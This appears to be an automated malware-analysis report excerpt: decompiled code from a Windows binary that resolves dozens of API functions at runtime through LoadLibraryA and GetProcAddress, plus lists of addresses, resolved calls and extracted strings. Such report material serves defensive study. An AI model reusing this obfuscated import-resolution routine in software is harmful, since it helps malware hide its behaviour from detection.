				if( *0x41aaa8 != 0) {
					_t347 =  *0x41a318; // 0x677e10
					_t92 =  *0x41aaa8; // 0x745c0000
					 *0x41a874 = GetProcAddress(_t92, _t347);
					_t258 =  *0x41a63c; // 0x677df8
					_t348 =  *0x41aaa8; // 0x745c0000
					 *0x41a9ac = GetProcAddress(_t348, _t258);
					_t95 =  *0x41a608; // 0x674c20
					_t259 =  *0x41aaa8; // 0x745c0000
					 *0x41a9ec = GetProcAddress(_t259, _t95);
					_t349 =  *0x41a528; // 0x674b00
					_t97 =  *0x41aaa8; // 0x745c0000
					 *0x41a9fc = GetProcAddress(_t97, _t349);
					_t260 =  *0x41a3ec; // 0x677e70
					_t350 =  *0x41aaa8; // 0x745c0000
					 *0x41aa28 = GetProcAddress(_t350, _t260);
					_t100 =  *0x41a648; // 0x6757b8
					_t261 =  *0x41aaa8; // 0x745c0000
					 *0x41aaa4 = GetProcAddress(_t261, _t100);
					_t351 =  *0x41a298; // 0x674a20
					_t102 =  *0x41aaa8; // 0x745c0000
					 *0x41aab4 = GetProcAddress(_t102, _t351);
					_t262 =  *0x41a618; // 0x674aa0
					_t352 =  *0x41aaa8; // 0x745c0000
					 *0x41a878 = GetProcAddress(_t352, _t262);
					_t105 =  *0x41a384; // 0x677e88
					_t263 =  *0x41aaa8; // 0x745c0000
					 *0x41aac0 = GetProcAddress(_t263, _t105);
					_t353 =  *0x41a4ec; // 0x677db0
					_t107 =  *0x41aaa8; // 0x745c0000
					 *0x41aa5c = GetProcAddress(_t107, _t353);
					_t264 =  *0x41a38c; // 0x677fa8
					_t354 =  *0x41aaa8; // 0x745c0000
					_t17 = GetProcAddress(_t354, _t264);
					 *0x41aa94 = _t17;
				}
				if( *0x41a854 != 0) {
					_t83 =  *0x41a6c8; // 0x677e40
					_t254 =  *0x41a854; // 0x73ae0000
					 *0x41a940 = GetProcAddress(_t254, _t83);
					_t344 =  *0x41a53c; // 0x674ac0
					_t85 =  *0x41a854; // 0x73ae0000
					 *0x41a920 = GetProcAddress(_t85, _t344);
					_t255 =  *0x41a180; // 0x677fc0
					_t345 =  *0x41a854; // 0x73ae0000
					 *0x41a9c4 = GetProcAddress(_t345, _t255);
					_t88 =  *0x41a724; // 0x674ae0
					_t256 =  *0x41a854; // 0x73ae0000
					 *0x41a870 = GetProcAddress(_t256, _t88);
					_t346 =  *0x41a1fc; // 0x678008
					_t90 =  *0x41a854; // 0x73ae0000
					 *0x41aa6c = GetProcAddress(_t90, _t346);
					_t257 =  *0x41a854; // 0x73ae0000
					_t17 = GetProcAddress(_t257, "RegGetValueA");
					 *0x41a8f8 = _t17;
				}
				if( *0x41a988 != 0) {
					_t334 =  *0x41a4c4; // 0x677ee8
					_t61 =  *0x41a988; // 0x76990000
					 *0x41a9d0 = GetProcAddress(_t61, _t334);
					_t245 =  *0x41a198; // 0x677f18
					_t335 =  *0x41a988; // 0x76990000
					 *0x41a960 = GetProcAddress(_t335, _t245);
					_t64 =  *0x41a7a8; // 0x674be0
					_t246 =  *0x41a988; // 0x76990000
					 *0x41a948 = GetProcAddress(_t246, _t64);
					_t336 =  *0x41a274; // 0x674960
					_t66 =  *0x41a988; // 0x76990000
					 *0x41a8bc = GetProcAddress(_t66, _t336);
					_t247 =  *0x41a624; // 0x677e58
					_t337 =  *0x41a988; // 0x76990000
					 *0x41a898 = GetProcAddress(_t337, _t247);
					_t69 =  *0x41a2b8; // 0x675788
					_t248 =  *0x41a988; // 0x76990000
					 *0x41a880 = GetProcAddress(_t248, _t69);
					_t338 =  *0x41a5f0; // 0x677f30
					_t71 =  *0x41a988; // 0x76990000
					 *0x41aa38 = GetProcAddress(_t71, _t338);
					_t249 =  *0x41a19c; // 0x677ed0
					_t339 =  *0x41a988; // 0x76990000
					 *0x41a93c = GetProcAddress(_t339, _t249);
					_t74 =  *0x41a73c; // 0x677e28
					_t250 =  *0x41a988; // 0x76990000
					 *0x41a9f0 = GetProcAddress(_t250, _t74);
					_t340 =  *0x41a254; // 0x677f00
					_t76 =  *0x41a988; // 0x76990000
					 *0x41a918 = GetProcAddress(_t76, _t340);
					_t251 =  *0x41a404; // 0x675838
					_t341 =  *0x41a988; // 0x76990000
					 *0x41a87c = GetProcAddress(_t341, _t251);
					_t79 =  *0x41a17c; // 0x674c60
					_t252 =  *0x41a988; // 0x76990000
					 *0x41a9a8 = GetProcAddress(_t252, _t79);
					_t342 =  *0x41a154; // 0x677f48
					_t81 =  *0x41a988; // 0x76990000
					 *0x41a8d4 = GetProcAddress(_t81, _t342);
					_t253 =  *0x41a778; // 0x677f60
					_t343 =  *0x41a988; // 0x76990000
					_t17 = GetProcAddress(_t343, _t253);
					 *0x41a9f8 = _t17;
				}
				if( *0x41aa40 != 0) {
					_t60 =  *0x41a120; // 0x675460
					_t244 =  *0x41aa40; // 0x6e580000
					_t17 = GetProcAddress(_t244, _t60); // executed
					 *0x41a864 = _t17;
				}
				if( *0x41a94c != 0) {
					_t333 =  *0x41a3a0; // 0x674c40
					_t59 =  *0x41a94c; // 0x76600000
					_t17 = GetProcAddress(_t59, _t333);
					 *0x41aa48 = _t17;
				}
				if( *0x41a934 != 0) {
					_t243 =  *0x41a354; // 0x674c80
					_t332 =  *0x41a934; // 0x76ae0000
					_t17 = GetProcAddress(_t332, _t243);
					 *0x41a91c = _t17;
				}
				if( *0x41aa34 != 0) {
					_t50 =  *0x41a108; // 0x676fa8
					_t239 =  *0x41aa34; // 0x73870000
					 *0x41a95c = GetProcAddress(_t239, _t50);
					_t328 =  *0x41a710; // 0x674ce0
					_t52 =  *0x41aa34; // 0x73870000
					 *0x41aa18 = GetProcAddress(_t52, _t328);
					_t240 =  *0x41a510; // 0x6770e8
					_t329 =  *0x41aa34; // 0x73870000
					 *0x41a900 = GetProcAddress(_t329, _t240);
					_t55 =  *0x41a35c; // 0x674d00
					_t241 =  *0x41aa34; // 0x73870000
					 *0x41a8e0 = GetProcAddress(_t241, _t55);
					_t330 =  *0x41a524; // 0x676f30
					_t57 =  *0x41aa34; // 0x73870000
					 *0x41a8c0 = GetProcAddress(_t57, _t330);
					_t242 =  *0x41a0a0; // 0x678110
					_t331 =  *0x41aa34; // 0x73870000
					_t17 = GetProcAddress(_t331, _t242);
					 *0x41aa60 = _t17;
				}
				if( *0x41aa80 != 0) {
					_t41 =  *0x41a2fc; // 0x678128
					_t235 =  *0x41aa80; // 0x6f560000
					 *0x41a9c8 = GetProcAddress(_t235, _t41);
					_t324 =  *0x41a508; // 0x6781b8
					_t43 =  *0x41aa80; // 0x6f560000
					 *0x41a924 = GetProcAddress(_t43, _t324);
					_t236 =  *0x41a540; // 0x674d40
					_t325 =  *0x41aa80; // 0x6f560000
					 *0x41aa30 = GetProcAddress(_t325, _t236);
					_t46 =  *0x41a214; // 0x65aa88
					_t237 =  *0x41aa80; // 0x6f560000
					 *0x41a888 = GetProcAddress(_t237, _t46);
					_t326 =  *0x41a794; // 0x6788d8
					_t48 =  *0x41aa80; // 0x6f560000
					 *0x41a99c = GetProcAddress(_t48, _t326);
					_t238 =  *0x41a7d0; // 0x678170
					_t327 =  *0x41aa80; // 0x6f560000
					_t17 = GetProcAddress(_t327, _t238);
					 *0x41aa08 = _t17;
				}
				if( *0x41a968 != 0) {
					_t37 =  *0x41a178; // 0x6780c8
					_t233 =  *0x41a968; // 0x76550000
					 *0x41aa4c = GetProcAddress(_t233, _t37);
					_t322 =  *0x41a69c; // 0x675718
					_t39 =  *0x41a968; // 0x76550000
					 *0x41a89c = GetProcAddress(_t39, _t322);
					_t234 =  *0x41a0e4; // 0x678140
					_t323 =  *0x41a968; // 0x76550000
					_t17 = GetProcAddress(_t323, _t234);
					 *0x41a90c = _t17;
				}
				if( *0x41aa98 != 0) {
					_t34 =  *0x41a270; // 0x678818
					_t232 =  *0x41aa98; // 0x750f0000
					 *0x41aa00 = GetProcAddress(_t232, _t34);
					_t321 =  *0x41a378; // 0x678158
					_t36 =  *0x41aa98; // 0x750f0000
					_t17 = GetProcAddress(_t36, _t321);
					 *0x41aa84 = _t17;
				}
				if( *0x41a938 != 0) {
					_t226 =  *0x41a3cc; // 0x676fd0
					_t316 =  *0x41a938; // 0x73130000
					 *0x41a8dc = GetProcAddress(_t316, _t226);
					_t23 =  *0x41a2a0; // 0x678938
					_t227 =  *0x41a938; // 0x73130000
					 *0x41a928 = GetProcAddress(_t227, _t23);
					_t317 =  *0x41a308; // 0x677278
					_t25 =  *0x41a938; // 0x73130000
					 *0x41a9e8 = GetProcAddress(_t25, _t317);
					_t228 =  *0x41a150; // 0x6780b0
					_t318 =  *0x41a938; // 0x73130000
					 *0x41aa2c = GetProcAddress(_t318, _t228);
					_t28 =  *0x41a4f4; // 0x678188
					_t229 =  *0x41a938; // 0x73130000
					 *0x41aa0c = GetProcAddress(_t229, _t28);
					_t319 =  *0x41a7c8; // 0x678978
					_t30 =  *0x41a938; // 0x73130000
					 *0x41a9b8 = GetProcAddress(_t30, _t319);
					_t230 =  *0x41a380; // 0x6787b8
					_t320 =  *0x41a938; // 0x73130000
					 *0x41a8f0 = GetProcAddress(_t320, _t230);
					_t33 =  *0x41a7b8; // 0x6780e0
					_t231 =  *0x41a938; // 0x73130000
					_t17 = GetProcAddress(_t231, _t33);
					 *0x41aa7c = _t17;
				}
				if( *0x41a97c != 0) {
					_t314 =  *0x41a174; // 0x678798
					_t20 =  *0x41a97c; // 0x76610000
					 *0x41a98c = GetProcAddress(_t20, _t314);
					_t225 =  *0x41a3d8; // 0x6788b8
					_t315 =  *0x41a97c; // 0x76610000
					_t17 = GetProcAddress(_t315, _t225);
					 *0x41a884 = _t17;
				}
				if( *0x41aa88 != 0) {
					_t18 =  *0x41a448; // 0x6781a0
					_t224 =  *0x41aa88; // 0x6e7a0000
					_t19 = GetProcAddress(_t224, _t18);
					 *0x41a990 = _t19;
					return _t19;
				}
				return _t17;
			}

0x0040c4aa
0x0040c4b0
0x0040c4b6
0x0040c4c3
0x0040c4c8
0x0040c4cf
0x0040c4db
0x0040c4e0
0x0040c4e7
0x0040c4f4
0x0040c4f9
0x0040c4ff
0x0040c50c
0x0040c511
0x0040c518
0x0040c524
0x0040c529
0x0040c530
0x0040c53d
0x0040c542
0x0040c548
0x0040c555
0x0040c55a
0x0040c561
0x0040c56d
0x0040c572
0x0040c579
0x0040c586
0x0040c58b
0x0040c591
0x0040c59e
0x0040c5a3
0x0040c5aa
0x0040c5b6
0x0040c5bb
0x0040c5c2
0x0040c5cf
0x0040c5d4
0x0040c5da
0x0040c5e7
0x0040c5ec
0x0040c5f3
0x0040c5ff
0x0040c604
0x0040c60b
0x0040c618
0x0040c61d
0x0040c623
0x0040c630
0x0040c635
0x0040c63c
0x0040c648
0x0040c64d
0x0040c654
0x0040c661
0x0040c666
0x0040c66c
0x0040c679
0x0040c67e
0x0040c685
0x0040c691
0x0040c696
0x0040c69d
0x0040c6aa
0x0040c6af
0x0040c6b5
0x0040c6c2
0x0040c6c7
0x0040c6ce
0x0040c6da
0x0040c6df
0x0040c6e6
0x0040c6f3
0x0040c6f8
0x0040c6fe
0x0040c70b
0x0040c710
0x0040c717
0x0040c723
0x0040c728
0x0040c72f
0x0040c73c
0x0040c741
0x0040c747
0x0040c754
0x0040c759
0x0040c760
0x0040c76c
0x0040c771
0x0040c778
0x0040c785
0x0040c78a
0x0040c790
0x0040c79d
0x0040c7a2
0x0040c7a9
0x0040c7b5
0x0040c7ba
0x0040c7c1
0x0040c7ce
0x0040c7d3
0x0040c7d9
0x0040c7e6
0x0040c7eb
0x0040c7f2
0x0040c7fe
0x0040c803
0x0040c80a
0x0040c817
0x0040c81c
0x0040c822
0x0040c82f
0x0040c834
0x0040c83b
0x0040c847
0x0040c84c
0x0040c853
0x0040c860
0x0040c865
0x0040c86b
0x0040c878
0x0040c87d
0x0040c884
0x0040c890
0x0040c895
0x0040c89c
0x0040c8a9
0x0040c8ae
0x0040c8b4
0x0040c8c1
0x0040c8c6
0x0040c8cd
0x0040c8d9
0x0040c8de
0x0040c8e5
0x0040c8f2
0x0040c8f7
0x0040c8fd
0x0040c90a
0x0040c90f
0x0040c916
0x0040c922
0x0040c927
0x0040c92e
0x0040c93b
0x0040c940
0x0040c946
0x0040c953
0x0040c958
0x0040c95f
0x0040c96b
0x0040c970
0x0040c977
0x0040c984
0x0040c98e
0x0040c99a
0x0040c9a4
0x0040c9b1
0x0040c9bb
0x0040c9c8
0x0040c9d2
0x0040c9de
0x0040c9e8
0x0040c9f5
0x0040c9f5
0x0040c9fa
0x0040ca07
0x0040ca0c
0x0040ca12
0x0040ca18
0x0040ca1d
0x0040ca24
0x0040ca2a
0x0040ca2f
0x0040ca3c
0x0040ca41
0x0040ca47
0x0040ca4d
0x0040ca52
0x0040ca59
0x0040ca5f
0x0040ca64
0x0040ca6b
0x0040ca71
0x0040ca76
0x0040ca7c
0x0040ca82
0x0040ca87
0x0040ca8e
0x0040ca94
0x0040ca99
0x0040caa0
0x0040caa6
0x0040caab
0x0040cab1
0x0040cab7
0x0040cabc
0x0040cac3
0x0040cac9
0x0040cace
0x0040cad5
0x0040cadb
0x0040cae7
0x0040cae9
0x0040caef
0x0040cafc
0x0040cb06
0x0040cb13
0x0040cb1d
0x0040cb23
0x0040cb29
0x0040cb29
0x0040cb35
0x0040cb3b
0x0040cb42
0x0040cb4f
0x0040cb54
0x0040cb5a
0x0040cb67
0x0040cb6c
0x0040cb73
0x0040cb7f
0x0040cb84
0x0040cb8b
0x0040cb98
0x0040cb9d
0x0040cba3
0x0040cbb0
0x0040cbb5
0x0040cbbc
0x0040cbc8
0x0040cbcd
0x0040cbd4
0x0040cbe1
0x0040cbe6
0x0040cbec
0x0040cbf9
0x0040cbfe
0x0040cc05
0x0040cc11
0x0040cc1b
0x0040cc22
0x0040cc28
0x0040cc28
0x0040cc34
0x0040cc3a
0x0040cc41
0x0040cc4d
0x0040cc52
0x0040cc59
0x0040cc66
0x0040cc6b
0x0040cc71
0x0040cc7e
0x0040cc83
0x0040cc8a
0x0040cc96
0x0040cc9b
0x0040cca2
0x0040ccaf
0x0040ccb4
0x0040ccba
0x0040ccc7
0x0040cccc
0x0040ccd3
0x0040ccdf
0x0040cce4
0x0040cceb
0x0040ccf8
0x0040ccfd
0x0040cd03
0x0040cd10
0x0040cd15
0x0040cd1c
0x0040cd28
0x0040cd2d
0x0040cd34
0x0040cd3b
0x0040cd41
0x0040cd41
0x0040cd4d
0x0040cd53
0x0040cd59
0x0040cd66
0x0040cd6b
0x0040cd72
0x0040cd7e
0x0040cd83
0x0040cd8a
0x0040cd97
0x0040cd9c
0x0040cda2
0x0040cdaf
0x0040cdb4
0x0040cdbb
0x0040cdc7
0x0040cdd1
0x0040cdd8
0x0040cdde
0x0040cdde
0x0040cdea
0x0040cdf0
0x0040cdf7
0x0040ce03
0x0040ce08
0x0040ce0f
0x0040ce1c
0x0040ce21
0x0040ce27
0x0040ce34
0x0040ce39
0x0040ce40
0x0040ce4c
0x0040ce51
0x0040ce58
0x0040ce65
0x0040ce6a
0x0040ce70
0x0040ce7d
0x0040ce82
0x0040ce89
0x0040ce95
0x0040ce9a
0x0040cea1
0x0040ceae
0x0040ceb3
0x0040ceb9
0x0040cec6
0x0040cecb
0x0040ced2
0x0040cede
0x0040cee3
0x0040ceea
0x0040cef7
0x0040cefc
0x0040cf02
0x0040cf0f
0x0040cf14
0x0040cf1b
0x0040cf27
0x0040cf2c
0x0040cf33
0x0040cf3a
0x0040cf40
0x0040cf40
0x0040cf4c
0x0040cf4e
0x0040cf54
0x0040cf5b
0x0040cf61
0x0040cf61
0x0040cf6d
0x0040cf6f
0x0040cf76
0x0040cf7c
0x0040cf82
0x0040cf82
0x0040cf8e
0x0040cf90
0x0040cf97
0x0040cf9e
0x0040cfa4
0x0040cfa4
0x0040cfb0
0x0040cfb6
0x0040cfbc
0x0040cfc9
0x0040cfce
0x0040cfd5
0x0040cfe1
0x0040cfe6
0x0040cfed
0x0040cffa
0x0040cfff
0x0040d005
0x0040d012
0x0040d017
0x0040d01e
0x0040d02a
0x0040d02f
0x0040d036
0x0040d03d
0x0040d043
0x0040d043
0x0040d04f
0x0040d055
0x0040d05b
0x0040d068
0x0040d06d
0x0040d074
0x0040d080
0x0040d085
0x0040d08c
0x0040d099
0x0040d09e
0x0040d0a4
0x0040d0b1
0x0040d0b6
0x0040d0bd
0x0040d0c9
0x0040d0ce
0x0040d0d5
0x0040d0dc
0x0040d0e2
0x0040d0e2
0x0040d0ee
0x0040d0f0
0x0040d0f6
0x0040d103
0x0040d108
0x0040d10f
0x0040d11b
0x0040d120
0x0040d127
0x0040d12e
0x0040d134
0x0040d134
0x0040d140
0x0040d142
0x0040d148
0x0040d155
0x0040d15a
0x0040d161
0x0040d167
0x0040d16d
0x0040d16d
0x0040d179
0x0040d17f
0x0040d186
0x0040d193
0x0040d198
0x0040d19e
0x0040d1ab
0x0040d1b0
0x0040d1b7
0x0040d1c3
0x0040d1c8
0x0040d1cf
0x0040d1dc
0x0040d1e1
0x0040d1e7
0x0040d1f4
0x0040d1f9
0x0040d200
0x0040d20c
0x0040d211
0x0040d218
0x0040d225
0x0040d22a
0x0040d230
0x0040d237
0x0040d23d
0x0040d23d
0x0040d249
0x0040d24b
0x0040d252
0x0040d25e
0x0040d263
0x0040d26a
0x0040d271
0x0040d277
0x0040d277
0x0040d283
0x0040d285
0x0040d28b
0x0040d292
0x0040d298
0x00000000
0x0040d298
0x0040d29e

APIs

GetProcAddress.KERNEL32(73B60000,006779F0), ref: 0040C4BD
GetProcAddress.KERNEL32(73B60000,00677948), ref: 0040C4D5
GetProcAddress.KERNEL32(73B60000,00674F20), ref: 0040C4EE
GetProcAddress.KERNEL32(73B60000,00677660), ref: 0040C506
GetProcAddress.KERNEL32(73B60000,006777C8), ref: 0040C51E
GetProcAddress.KERNEL32(73B60000,00677720), ref: 0040C537
GetProcAddress.KERNEL32(73B60000,00677750), ref: 0040C54F
GetProcAddress.KERNEL32(73B60000,00677768), ref: 0040C567
GetProcAddress.KERNEL32(73B60000,00677798), ref: 0040C580
GetProcAddress.KERNEL32(73B60000,006777B0), ref: 0040C598
GetProcAddress.KERNEL32(73B60000,006777E0), ref: 0040C5B0
GetProcAddress.KERNEL32(73B60000,00677930), ref: 0040C5C9
GetProcAddress.KERNEL32(73B60000,00677858), ref: 0040C5E1
GetProcAddress.KERNEL32(73B60000,006750A0), ref: 0040C5F9
GetProcAddress.KERNEL32(73B60000,006777F8), ref: 0040C612
GetProcAddress.KERNEL32(73B60000,00675060), ref: 0040C62A
GetProcAddress.KERNEL32(73B60000,00677250), ref: 0040C642
GetProcAddress.KERNEL32(73B60000,00677810), ref: 0040C65B
GetProcAddress.KERNEL32(73B60000,00674F40), ref: 0040C673
GetProcAddress.KERNEL32(73B60000,00677828), ref: 0040C68B
GetProcAddress.KERNEL32(73B60000,00675040), ref: 0040C6A4
GetProcAddress.KERNEL32(73B60000,006778E8), ref: 0040C6BC
GetProcAddress.KERNEL32(73B60000,006778A0), ref: 0040C6D4
GetProcAddress.KERNEL32(73B60000,00677870), ref: 0040C6ED
GetProcAddress.KERNEL32(73B60000,006778B8), ref: 0040C705
GetProcAddress.KERNEL32(73B60000,00674D20), ref: 0040C71D
GetProcAddress.KERNEL32(73B60000,00677888), ref: 0040C736
GetProcAddress.KERNEL32(73B60000,00677900), ref: 0040C74E
GetProcAddress.KERNEL32(73B60000,00677F90), ref: 0040C766
GetProcAddress.KERNEL32(73B60000,00674BA0), ref: 0040C77F
GetProcAddress.KERNEL32(73B60000,00677DC8), ref: 0040C797
GetProcAddress.KERNEL32(73B60000,00678038), ref: 0040C7AF
GetProcAddress.KERNEL32(73B60000,00678020), ref: 0040C7C8
GetProcAddress.KERNEL32(73B60000,00677EA0), ref: 0040C7E0
GetProcAddress.KERNEL32(73B60000,00677D50), ref: 0040C7F8
GetProcAddress.KERNEL32(73B60000,006749C0), ref: 0040C811
GetProcAddress.KERNEL32(73B60000,00674B20), ref: 0040C829
GetProcAddress.KERNEL32(73B60000,00677DE0), ref: 0040C841
GetProcAddress.KERNEL32(73B60000,00677D98), ref: 0040C85A
GetProcAddress.KERNEL32(73B60000,00674B40), ref: 0040C872
GetProcAddress.KERNEL32(73B60000,006771D8), ref: 0040C88A
GetProcAddress.KERNEL32(73B60000,00677EB8), ref: 0040C8A3
GetProcAddress.KERNEL32(73B60000,00677D68), ref: 0040C8BB
GetProcAddress.KERNEL32(73B60000,006749E0), ref: 0040C8D3
GetProcAddress.KERNEL32(73B60000,00674C00), ref: 0040C8EC
GetProcAddress.KERNEL32(73B60000,00674B60), ref: 0040C904
GetProcAddress.KERNEL32(73B60000,00677FD8), ref: 0040C91C
GetProcAddress.KERNEL32(73B60000,00674980), ref: 0040C935
GetProcAddress.KERNEL32(73B60000,00677F78), ref: 0040C94D
GetProcAddress.KERNEL32(73B60000,00674A40), ref: 0040C965
GetProcAddress.KERNEL32(73B60000,00674A00), ref: 0040C97E
GetProcAddress.KERNEL32(73B60000,CreateThread), ref: 0040C994
GetProcAddress.KERNEL32(73B60000,GetEnvironmentVariableA), ref: 0040C9AB
GetProcAddress.KERNEL32(73B60000,SetEnvironmentVariableA), ref: 0040C9C2
GetProcAddress.KERNEL32(73B60000,lstrcpyA), ref: 0040C9D8
GetProcAddress.KERNEL32(73B60000,lstrcpynA), ref: 0040C9EF
LoadLibraryA.KERNEL32(00677960,?,00406BAD), ref: 0040CA01
LoadLibraryA.KERNEL32(00677918,?,00406BAD), ref: 0040CA12
LoadLibraryA.KERNEL32(00677648,?,00406BAD), ref: 0040CA24
LoadLibraryA.KERNEL32(00677840,?,00406BAD), ref: 0040CA36
LoadLibraryA.KERNEL32(006778D0,?,00406BAD), ref: 0040CA47
LoadLibraryA.KERNEL32(00677690,?,00406BAD), ref: 0040CA59
LoadLibraryA.KERNEL32(00677678,?,00406BAD), ref: 0040CA6B
LoadLibraryA.KERNEL32(00677738,?,00406BAD), ref: 0040CA7C
LoadLibraryA.KERNEL32(006776C0,?,00406BAD), ref: 0040CA8E
LoadLibraryA.KERNEL32(006776D8,?,00406BAD), ref: 0040CAA0
LoadLibraryA.KERNEL32(006776F0,?,00406BAD), ref: 0040CAB1
LoadLibraryA.KERNEL32(00677708,?,00406BAD), ref: 0040CAC3
LoadLibraryA.KERNEL32(006776A8,?,00406BAD), ref: 0040CAD5
GetProcAddress.KERNEL32(770B0000,00675728), ref: 0040CAF6
GetProcAddress.KERNEL32(770B0000,memset), ref: 0040CB0D
GetProcAddress.KERNEL32(770B0000,memcpy), ref: 0040CB23
GetProcAddress.KERNEL32(6F710000,00677D80), ref: 0040CB49
GetProcAddress.KERNEL32(6F710000,00674CC0), ref: 0040CB61
GetProcAddress.KERNEL32(6F710000,00674B80), ref: 0040CB79
GetProcAddress.KERNEL32(6F710000,00674BC0), ref: 0040CB92
GetProcAddress.KERNEL32(6F710000,00677FF0), ref: 0040CBAA
GetProcAddress.KERNEL32(6F710000,00674A60), ref: 0040CBC2
GetProcAddress.KERNEL32(6F710000,00674CA0), ref: 0040CBDB
GetProcAddress.KERNEL32(6F710000,00674A80), ref: 0040CBF3
GetProcAddress.KERNEL32(6F710000,006749A0), ref: 0040CC0B
GetProcAddress.KERNEL32(6F710000,InternetCrackUrlA), ref: 0040CC22
GetProcAddress.KERNEL32(745C0000,00677E10), ref: 0040CC47
GetProcAddress.KERNEL32(745C0000,00677DF8), ref: 0040CC60
GetProcAddress.KERNEL32(745C0000,00674C20), ref: 0040CC78
GetProcAddress.KERNEL32(745C0000,00674B00), ref: 0040CC90
GetProcAddress.KERNEL32(745C0000,00677E70), ref: 0040CCA9
GetProcAddress.KERNEL32(745C0000,006757B8), ref: 0040CCC1
GetProcAddress.KERNEL32(745C0000,00674A20), ref: 0040CCD9
GetProcAddress.KERNEL32(745C0000,00674AA0), ref: 0040CCF2
GetProcAddress.KERNEL32(745C0000,00677E88), ref: 0040CD0A
GetProcAddress.KERNEL32(745C0000,00677DB0), ref: 0040CD22
GetProcAddress.KERNEL32(745C0000,00677FA8), ref: 0040CD3B
GetProcAddress.KERNEL32(73AE0000,00677E40), ref: 0040CD60
GetProcAddress.KERNEL32(73AE0000,00674AC0), ref: 0040CD78
GetProcAddress.KERNEL32(73AE0000,00677FC0), ref: 0040CD91
GetProcAddress.KERNEL32(73AE0000,00674AE0), ref: 0040CDA9
GetProcAddress.KERNEL32(73AE0000,00678008), ref: 0040CDC1
GetProcAddress.KERNEL32(73AE0000,RegGetValueA), ref: 0040CDD8
GetProcAddress.KERNEL32(76990000,00677EE8), ref: 0040CDFD
GetProcAddress.KERNEL32(76990000,00677F18), ref: 0040CE16
GetProcAddress.KERNEL32(76990000,00674BE0), ref: 0040CE2E
GetProcAddress.KERNEL32(76990000,00674960), ref: 0040CE46
GetProcAddress.KERNEL32(76990000,00677E58), ref: 0040CE5F
GetProcAddress.KERNEL32(76990000,00675788), ref: 0040CE77
GetProcAddress.KERNEL32(76990000,00677F30), ref: 0040CE8F
GetProcAddress.KERNEL32(76990000,00677ED0), ref: 0040CEA8
GetProcAddress.KERNEL32(76990000,00677E28), ref: 0040CEC0
GetProcAddress.KERNEL32(76990000,00677F00), ref: 0040CED8
GetProcAddress.KERNEL32(76990000,00675838), ref: 0040CEF1
GetProcAddress.KERNEL32(76990000,00674C60), ref: 0040CF09
GetProcAddress.KERNEL32(76990000,00677F48), ref: 0040CF21
GetProcAddress.KERNEL32(76990000,00677F60), ref: 0040CF3A
GetProcAddress.KERNEL32(6E580000,00675460), ref: 0040CF5B
GetProcAddress.KERNEL32(76600000,00674C40), ref: 0040CF7C
GetProcAddress.KERNEL32(76AE0000,00674C80), ref: 0040CF9E
GetProcAddress.KERNEL32(73870000,00676FA8), ref: 0040CFC3
GetProcAddress.KERNEL32(73870000,00674CE0), ref: 0040CFDB
GetProcAddress.KERNEL32(73870000,006770E8), ref: 0040CFF4
GetProcAddress.KERNEL32(73870000,00674D00), ref: 0040D00C
GetProcAddress.KERNEL32(73870000,00676F30), ref: 0040D024
GetProcAddress.KERNEL32(73870000,00678110), ref: 0040D03D
GetProcAddress.KERNEL32(6F560000,00678128), ref: 0040D062
GetProcAddress.KERNEL32(6F560000,006781B8), ref: 0040D07A
GetProcAddress.KERNEL32(6F560000,00674D40), ref: 0040D093
GetProcAddress.KERNEL32(6F560000,0065AA88), ref: 0040D0AB
GetProcAddress.KERNEL32(6F560000,006788D8), ref: 0040D0C3
GetProcAddress.KERNEL32(6F560000,00678170), ref: 0040D0DC
GetProcAddress.KERNEL32(76550000,006780C8), ref: 0040D0FD
GetProcAddress.KERNEL32(76550000,00675718), ref: 0040D115
GetProcAddress.KERNEL32(76550000,00678140), ref: 0040D12E
GetProcAddress.KERNEL32(750F0000,00678818), ref: 0040D14F
GetProcAddress.KERNEL32(750F0000,00678158), ref: 0040D167
GetProcAddress.KERNEL32(73130000,00676FD0), ref: 0040D18D
GetProcAddress.KERNEL32(73130000,00678938), ref: 0040D1A5
GetProcAddress.KERNEL32(73130000,00677278), ref: 0040D1BD
GetProcAddress.KERNEL32(73130000,006780B0), ref: 0040D1D6
GetProcAddress.KERNEL32(73130000,00678188), ref: 0040D1EE
GetProcAddress.KERNEL32(73130000,00678978), ref: 0040D206
GetProcAddress.KERNEL32(73130000,006787B8), ref: 0040D21F
GetProcAddress.KERNEL32(73130000,006780E0), ref: 0040D237
GetProcAddress.KERNEL32(76610000,00678798), ref: 0040D258
GetProcAddress.KERNEL32(76610000,006788B8), ref: 0040D271
GetProcAddress.KERNEL32(6E7A0000,006781A0), ref: 0040D292

Strings

`Kg, xrefs: 0040C8F7
GetEnvironmentVariableA, xrefs: 0040C99F
Kg, xrefs: 0040C81C
8wg, xrefs: 0040CA76
8Xg, xrefs: 0040CEE3
Pwg, xrefs: 0040C542
xg, xrefs: 0040C6AF
SetEnvironmentVariableA, xrefs: 0040C9B6
memset, xrefs: 0040CB01
pg, xrefs: 0040CFE6
Hvg, xrefs: 0040CA1D
Prg, xrefs: 0040C635
}g, xrefs: 0040C834
`vg, xrefs: 0040C4F9
@Pg, xrefs: 0040C696
0og, xrefs: 0040D017
RegGetValueA, xrefs: 0040CDCC
@xg, xrefs: 0040CA2F
Og, xrefs: 0040C4E0
lstrcpynA, xrefs: 0040C9E3
xrg, xrefs: 0040D1B0
Kg, xrefs: 0040CE21
0yg, xrefs: 0040C5BB
InternetCrackUrlA, xrefs: 0040CC16
Lg, xrefs: 0040CFCE
hwg, xrefs: 0040C55A
`yg, xrefs: 0040C9FA
(Wg, xrefs: 0040CAE9
xvg, xrefs: 0040CA64
p~g, xrefs: 0040CC9B
`Lg, xrefs: 0040CEFC
@Mg, xrefs: 0040D085
Jg, xrefs: 0040CD9C
memcpy, xrefs: 0040CB18
`Tg, xrefs: 0040CF4E
`Ig, xrefs: 0040CE39
Xxg, xrefs: 0040C5D4
@Og, xrefs: 0040C666
@~g, xrefs: 0040CD53
(~g, xrefs: 0040CEB3
@Jg, xrefs: 0040C958
P}g, xrefs: 0040C7EB
`Pg, xrefs: 0040C61D
@Kg, xrefs: 0040C865
lstrcpyA, xrefs: 0040C9CD
wg, xrefs: 0040C5A3
Mg, xrefs: 0040C710
Jg, xrefs: 0040CCCC
@Lg, xrefs: 0040CF6F
Ig, xrefs: 0040C8C6
(xg, xrefs: 0040C67E
Hyg, xrefs: 0040C4C8
~g, xrefs: 0040CDF0
Lg, xrefs: 0040CC6B
pxg, xrefs: 0040C6DF
X~g, xrefs: 0040CE51
CreateThread, xrefs: 0040C989
wg, xrefs: 0040C529
`Jg, xrefs: 0040CBB5
h}g, xrefs: 0040C8AE

Memory Dump Source

